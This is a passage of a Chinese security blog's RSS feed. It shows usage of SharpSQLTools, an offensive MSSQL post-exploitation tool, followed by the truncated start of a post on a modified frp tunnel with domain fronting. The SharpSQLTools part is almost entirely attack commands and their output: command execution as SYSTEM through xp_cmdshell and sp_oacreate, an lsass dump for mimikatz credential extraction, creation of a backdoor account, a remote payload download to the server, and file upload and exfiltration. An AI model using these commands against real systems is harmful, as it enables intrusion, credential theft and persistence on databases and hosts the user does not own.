border-box;-webkit-tap-highlight-color: transparent;font-family: Consolas, Inconsolata, Courier, monospace;font-size: inherit;padding: 0.5em;background: rgb(248, 248, 248);border-radius: 0px;white-space: pre-wrap;display: block;overflow-x: auto;overflow-wrap: break-word;margin-right: 2px;margin-left: 2px;">SharpSQLTools target username password                   - interactive <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(57, 115, 0);">console</span><br/>SharpSQLTools target username password <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(57, 115, 0);">module</span> command    - non-interactive <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(57, 115, 0);">console</span><br/></code></pre><h4 style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;font-weight: bold;line-height: 1.1;color: rgb(73, 80, 96);margin-top: 1.5em;margin-bottom: 1.5em;font-size: 1.2em;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">xp_cmdshell执行命令</h4><pre style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;overflow: auto;font-family: Consolas, Menlo, Courier, monospace;font-size: 12px;padding: 9.5px;margin-bottom: 10px;line-height: 1.42857;word-break: break-all;overflow-wrap: break-word;background-color: rgb(245, 245, 245);border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);border-radius: 4px;text-align: start;"><code style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: Consolas, Inconsolata, Courier, monospace;font-size: inherit;padding: 0.5em;background: rgb(248, 248, 248);border-radius: 0px;white-space: pre-wrap;display: block;overflow-x: auto;overflow-wrap: break-word;margin-right: 2px;margin-left: 2px;">λ <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">SharpSQLTools</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.exe</span> 192<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.168</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.28</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.27</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">sa</span> 1<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">qaz</span>@<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">WSX</span> xp_cmdshell whoami<br/>[*] Database connection is successful!<br/>nt authority\system<br/></code></pre><h4 style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;font-weight: bold;line-height: 1.1;color: rgb(73, 80, 96);margin-top: 1.5em;margin-bottom: 1.5em;font-size: 1.2em;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">sp_oacreate执行命令</h4><pre style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;overflow: auto;font-family: Consolas, Menlo, Courier, monospace;font-size: 12px;padding: 9.5px;margin-bottom: 10px;line-height: 1.42857;word-break: break-all;overflow-wrap: break-word;background-color: rgb(245, 245, 245);border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);border-radius: 4px;text-align: start;"><code style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: Consolas, Inconsolata, Courier, monospace;font-size: inherit;padding: 0.5em;background: rgb(248, 248, 248);border-radius: 0px;white-space: pre-wrap;display: block;overflow-x: auto;overflow-wrap: break-word;margin-right: 2px;margin-left: 2px;">λ <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">SharpSQLTools</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.exe</span> 192<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.168</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.28</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.27</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">sa</span> 1<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">qaz</span>@<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">WSX</span> sp_oacreate whoami<br/>[*] Database connection is successful!<br/>[+] c:\windows\system32\cmd.exe /c whoami &gt; C:\Users\Public\Downloads\<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">1611131759069</span>.txt<br/>[+] Reading C:\Users\Public\Downloads\<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">1611131759069</span>.txt<br/>nt authority\system<br/>[+] Deleting C:\Users\Public\Downloads\<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">1611131759069</span>.txt<br/></code></pre><h4 style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;font-weight: bold;line-height: 1.1;color: rgb(73, 80, 96);margin-top: 1.5em;margin-bottom: 1.5em;font-size: 1.2em;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">clr_dumplsass</h4><pre style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;overflow: auto;font-family: Consolas, Menlo, Courier, monospace;font-size: 12px;padding: 9.5px;margin-bottom: 10px;line-height: 1.42857;word-break: break-all;overflow-wrap: break-word;background-color: rgb(245, 245, 245);border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);border-radius: 4px;text-align: start;"><code style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: Consolas, Inconsolata, Courier, monospace;font-size: inherit;padding: 0.5em;background: rgb(248, 248, 248);border-radius: 0px;white-space: pre-wrap;display: block;overflow-x: auto;overflow-wrap: break-word;margin-right: 2px;margin-left: 2px;">λ <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">SharpSQLTools</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.exe</span> 192<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.168</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.28</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.27</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">sa</span> 1<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">qaz</span>@<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">WSX</span> clr_dumplsass<br/>[*] Database connection is successful!<br/>[*] Dumping lsass (<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">488</span>) to C:\Windows\Temp\debug488.out<br/>[+] Dump successful!<br/>[*] Compressing C:\Windows\Temp\debug488.out to C:\Windows\Temp\debug488.bin gzip file<br/>[X] Output file <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(221, 17, 68);">&#39;C:\Windows\Temp\debug488.bin&#39;</span> already exists, removing<br/>[*] Deleting C:\Windows\Temp\debug488.out<br/>[+] Dumping completed. Rename file to <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(221, 17, 68);">&#34;debug488.gz&#34;</span> to decompress.<br/>[*] Operating System : Windows Server <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">2008</span> R2 Standard<br/>[*] Architecture     : AMD64<br/>[*] Use <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(221, 17, 68);">&#34;sekurlsa::minidump debug.out&#34;</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(221, 17, 68);">&#34;sekurlsa::logonPasswords full&#34;</span> on the same OS/arch<br/></code></pre><h4 style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;font-weight: bold;line-height: 1.1;color: rgb(73, 80, 96);margin-top: 1.5em;margin-bottom: 1.5em;font-size: 1.2em;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">clr_adduser</h4><pre style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;overflow: auto;font-family: Consolas, Menlo, Courier, monospace;font-size: 12px;padding: 9.5px;margin-bottom: 10px;line-height: 1.42857;word-break: break-all;overflow-wrap: break-word;background-color: rgb(245, 245, 245);border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);border-radius: 4px;text-align: start;"><code style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: Consolas, Inconsolata, Courier, monospace;font-size: inherit;padding: 0.5em;background: rgb(248, 248, 248);border-radius: 0px;white-space: pre-wrap;display: block;overflow-x: auto;overflow-wrap: break-word;margin-right: 2px;margin-left: 2px;">λ <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">SharpSQLTools</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.exe</span> 192<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.168</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.28</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.27</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">sa</span> 1<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">qaz</span>@<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">WSX</span> clr_adduser test1234 <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">1</span>qaz@WSX<br/>[*] Database connection is successful!<br/>[*] Adding User success<br/>[*] Adding Group Member success<br/></code></pre><h4 style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;font-weight: bold;line-height: 1.1;color: rgb(73, 80, 96);margin-top: 1.5em;margin-bottom: 1.5em;font-size: 1.2em;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">clr_download</h4><pre style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;overflow: auto;font-family: Consolas, Menlo, Courier, monospace;font-size: 12px;padding: 9.5px;margin-bottom: 10px;line-height: 1.42857;word-break: break-all;overflow-wrap: break-word;background-color: rgb(245, 245, 245);border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);border-radius: 4px;text-align: start;"><code style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: Consolas, Inconsolata, Courier, monospace;font-size: inherit;padding: 0.5em;background: rgb(248, 248, 248);border-radius: 0px;white-space: pre-wrap;display: block;overflow-x: auto;overflow-wrap: break-word;margin-right: 2px;margin-left: 2px;">λ <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">SharpSQLTools</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.exe</span> 192<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.168</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.28</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.27</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">sa</span> 1<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">qaz</span>@<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">WSX</span> clr_download <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(221, 17, 68);">&#34;<a href="http://192.168.28.185:8001/clac.bin" target="_blank">http://192.168.28.185:8001/clac.bin</a>&#34;</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(221, 17, 68);">&#34;c:\Users\Public\Downloads\test.bin&#34;</span><br/>[*] Database connection is successful!<br/>[*] Download success<br/></code></pre><h4 style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;font-weight: bold;line-height: 1.1;color: rgb(73, 80, 96);margin-top: 1.5em;margin-bottom: 1.5em;font-size: 1.2em;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">upload</h4><pre style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;overflow: auto;font-family: Consolas, Menlo, Courier, monospace;font-size: 12px;padding: 9.5px;margin-bottom: 10px;line-height: 1.42857;word-break: break-all;overflow-wrap: break-word;background-color: rgb(245, 245, 245);border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);border-radius: 4px;text-align: start;"><code style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: Consolas, Inconsolata, Courier, monospace;font-size: inherit;padding: 0.5em;background: rgb(248, 248, 248);border-radius: 0px;white-space: pre-wrap;display: block;overflow-x: auto;overflow-wrap: break-word;margin-right: 2px;margin-left: 2px;">λ SharpSQLTools.exe <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">192.168</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">.28</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">.27</span> sa <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">1</span>qaz@WSX upload C:\Users\Pentest\Desktop\test\usc.exe c:\Users\Public\Downloads\<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">11.</span>exe<br/>[<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(153, 153, 153);font-weight: bold;">*</span>] Database connection <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">is</span> successful!<br/>[<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(153, 153, 153);font-weight: bold;">*</span>] Uploading <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(221, 17, 68);">&#39;C:\Users\Pentest\Desktop\test\usc.exe&#39;</span> to <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(221, 17, 68);">&#39;c:\Users\Public\Downloads\11.exe&#39;</span>...<br/>[<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(153, 153, 153);font-weight: bold;">+</span>] <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">7</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">-1</span> Upload completed<br/>[<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(153, 153, 153);font-weight: bold;">+</span>] <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">7</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">-2</span> Upload completed<br/>[<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(153, 153, 153);font-weight: bold;">+</span>] <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">7</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">-3</span> Upload completed<br/>[<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(153, 153, 153);font-weight: bold;">+</span>] <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">7</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">-4</span> Upload completed<br/>[<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(153, 153, 153);font-weight: bold;">+</span>] <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">7</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">-5</span> Upload completed<br/>[<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(153, 153, 153);font-weight: bold;">+</span>] <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">7</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">-6</span> Upload completed<br/>[<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(153, 153, 153);font-weight: bold;">+</span>] <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">7</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">-7</span> Upload completed<br/>[<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(153, 153, 153);font-weight: bold;">+</span>] copy /b c:\Users\Public\Downloads\<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">11.</span>exe_x.config_txt c:\Users\Public\Downloads\<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">11.</span>exe<br/>[<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(153, 153, 153);font-weight: bold;">+</span>] del c:\Users\Public\Downloads\*.config_txt<br/>[<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(153, 153, 153);font-weight: bold;">*</span>] <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(221, 17, 68);">&#39;C:\Users\Pentest\Desktop\test\usc.exe&#39;</span> Upload completed<br/></code></pre><h4 style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;font-weight: bold;line-height: 1.1;color: rgb(73, 80, 96);margin-top: 1.5em;margin-bottom: 1.5em;font-size: 1.2em;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">download</h4><pre style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;overflow: auto;font-family: Consolas, Menlo, Courier, monospace;font-size: 12px;padding: 9.5px;margin-bottom: 10px;line-height: 1.42857;word-break: break-all;overflow-wrap: break-word;background-color: rgb(245, 245, 245);border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);border-radius: 4px;text-align: start;"><code style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: Consolas, Inconsolata, Courier, monospace;font-size: inherit;padding: 0.5em;background: rgb(248, 248, 248);border-radius: 0px;white-space: pre-wrap;display: block;overflow-x: auto;overflow-wrap: break-word;margin-right: 2px;margin-left: 2px;">λ <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">SharpSQLTools</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.exe</span> 192<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.168</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.28</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(136, 0, 0);">.27</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">sa</span> 1<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">qaz</span>@<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">WSX</span> download c:\Users\Public\Downloads\t.txt C:\Users\Pentest\Desktop\test\t.txt<br/>[*] Database connection is successful!<br/>[*] Downloading <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(221, 17, 68);">&#39;c:\Users\Public\Downloads\t.txt&#39;</span> to <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(221, 17, 68);">&#39;C:\Users\Pentest\Desktop\test\t.txt&#39;</span>...<br/>[*] <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(221, 17, 68);">&#39;c:\Users\Public\Downloads\t.txt&#39;</span> Download completed<br/></code></pre><h3 style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;font-weight: bold;line-height: 1.1;color: rgb(73, 80, 96);margin-top: 1.5em;margin-bottom: 1.5em;font-size: 1.3em;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">Github</h3><p style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 14px;color: rgb(73, 80, 96);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://github.com/uknowsec/SharpSQLTools" target="_blank">https://github.com/uknowsec/SharpSQLTools</a></p><h3 style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;font-weight: bold;line-height: 1.1;color: rgb(73, 80, 96);margin-top: 1.5em;margin-bottom: 1.5em;font-size: 1.3em;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">References</h3><p style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 14px;color: rgb(73, 80, 96);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://github.com/blackarrowsec/mssqlproxy" target="_blank">https://github.com/blackarrowsec/mssqlproxy</a></p><p><br/></p>



<p><a href="https://github.com/uknowsec/SharpSQLTools">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7ec044a4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484718%26idx%3D1%26sn%3D4cca1e350076f71872d5b20378ecddde%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 20 Jan 2021 17:24:00 +0800</pubDate>
    </item>
    <item>
      <title>frp支持域前置与frpc.ini自删除版本</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484711&amp;idx=1&amp;sn=f9718dca7a398162c0516a359d2d4435</link>
      <description>https://github.com/uknowsec/frpModify</description>
      <content:encoded><![CDATA[<p>
<span>Uknow</span> <span>2020-12-31 12:39</span> <span style="display: inline-block;"></span>
</p>

<p>https://github.com/uknowsec/frpModify</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=05b277d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvfbwvPD65DicbriajDXFqicfm7LdrhgXfUEREpBElc8Ga7FZyxzhVnoxGN1WIBSyhgoLJakdpp9zjmcg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><h3 style="box-sizing: border-box;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">域前置与自删除</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">详情：FRP改造计划续</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">frps</p><pre style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">common</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">bind_port </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">23333</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">token </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> uknowsec</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">frpc</p><pre style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: 